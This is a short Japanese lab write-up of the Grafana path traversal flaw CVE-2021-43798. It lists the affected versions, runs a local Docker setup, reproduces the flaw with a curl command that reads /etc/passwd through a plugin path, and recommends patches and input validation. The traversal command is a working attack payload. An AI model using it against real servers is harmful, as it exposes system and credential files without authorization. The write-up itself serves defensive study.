CVE-2021-43798
1. 概要
- Grafana は、データ監視および管理機能をサポートするオープンソースプラットフォームであり、以下のバージョンでは
../ のような特殊文字を使用してファイルパスを操作できる Path Traversal 脆弱性が存在します。
- 8.0.0 以上、8.0.7 未満
- 8.1.0 以上、8.1.8 未満
- 8.2.0 以上、8.2.7 未満
- 8.3.0
- 脆弱なパスは <grafana_host_url>/public/plugins/<plugin_id>/ で、<plugin_id> はインストール済みプラグインの ID です。以下の資料から脆弱なパスを確認できます。
2. 脆弱な環境の構成と実行
2.1 使用した環境
2.2 実行方法
docker-compose up -d
3. 脆弱性の再現
- 開いた画面の確認
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd を通じて etc/passwd にアクセスできた。
4. まとめ(対応策)
- 影響を受けるバージョンを使用している場合は、パッチ済みバージョンである 8.3.1、8.2.7、8.1.8、8.0.7 に更新する必要があります。
- Path Traversal 脆弱性を防ぐために、許可されたパスのみアクセスを許可するホワイトリスト方式を適用し、ユーザー入力値の検証およびパス正規化を実行して、上位ディレクトリへの移動(../)のような異常なパスアクセスを制限する必要があります。
参考資料